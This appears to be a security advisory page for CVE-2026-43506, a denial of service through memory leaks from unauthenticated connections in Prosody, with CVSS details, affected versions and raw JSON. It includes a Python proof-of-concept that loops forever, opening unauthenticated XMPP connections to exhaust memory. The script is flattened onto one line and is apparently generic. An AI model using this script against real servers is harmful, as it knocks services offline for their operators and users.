Security Vulnerability Report
中文
CVE-2026-43506 CVSS 5.3 MEDIUM

CVE-2026-43506

Published: 2026-05-01 15:16:53
Last Modified: 2026-05-01 17:09:40

Description

An issue was discovered in Prosody before 0.12.6 and 1.0.0 through 13.0.0 before 13.0.5. A Denial of Service can occur via memory exhaustion caused by memory leaks from unauthenticated connections.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:prosody:prosody:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:prosody:prosody:*:*:*:*:*:*:*:* - VULNERABLE
Prosody < 0.12.6
Prosody >= 13.0.0, < 13.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import time target_ip = '127.0.0.1' target_port = 5222 def exploit(): try: # Create a socket connection to the Prosody server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Send initial XMPP stream header to initiate connection state # This triggers the vulnerable code path in unauthenticated connections payload = b"<stream:stream xmlns:stream='http://etherx.jabber.org/streams' version='1.0' xmlns='jabber:client' to='localhost'>" s.send(payload) print("[+] Connection established, holding resources...") # Keep the connection open or send incomplete data to trigger memory leak # Without closing the socket, the memory is not freed in vulnerable versions time.sleep(300) except Exception as e: print(f"[-] Error: {e}") while True: exploit() time.sleep(0.1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43506", "sourceIdentifier": "[email protected]", "published": "2026-05-01T15:16:52.820", "lastModified": "2026-05-01T17:09:39.790", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Prosody before 0.12.6 and 1.0.0 through 13.0.0 before 13.0.5. A Denial of Service can occur via memory exhaustion caused by memory leaks from unauthenticated connections."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:prosody:prosody:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.12.6", "matchCriteriaId": "B9387C8F-EE90-4F0C-9E40-BD3DAF571C74"}, {"vulnerable": true, "criteria": "cpe:2.3:a:prosody:prosody:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.0.5", "matchCriteriaId": "F946C4BE-7151-45DA-A376-D1B2DC449A5C"}]}]}], "references": [{"url": "https://prosody.im/security/advisory_735dd9d3/", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/01/5", "source": "[email protected]", "tags": ["Mailing List", "Patch", "Third Party Advisory"]}]}}